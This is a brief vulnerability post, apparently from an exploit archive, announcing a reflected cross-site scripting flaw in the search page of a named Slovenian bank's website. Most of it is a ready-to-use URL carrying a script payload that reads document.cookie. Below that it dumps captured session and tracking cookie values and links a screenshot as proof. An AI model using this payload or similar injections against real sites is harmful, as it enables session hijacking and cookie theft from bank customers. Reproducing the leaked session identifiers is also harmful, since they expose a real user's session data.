Unicreditbank.si XSS Vulnerability

in

#Title: Unicreditbank.si XSS Vulnerability
#Risk: (3/5)
#Release Date: 12.08.2010
#Vulnerability discovered by: darknessn1k0!a
---------------------------------------------------------------------
http://www.unicreditbank.si/isci.asp?str=%3Cscript%3Ealert(document.cookie)%3C/script%3E

##############################################################
#userid=4781180892010812; ASPSESSIONIDQQTSCTCD=NCPHPHMBLKMFENEOBIHMNEGK; #__utmz=16311794.1281638389.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=ba#nka; __utma=16311794.1395232579.1281638389.1281638389.1281638389.1; __utmc=16311794; #__utmb=16311794.9.10.1281638389
###########################################################
Mirror:
http://i34.tinypic.com/2wocgmt.png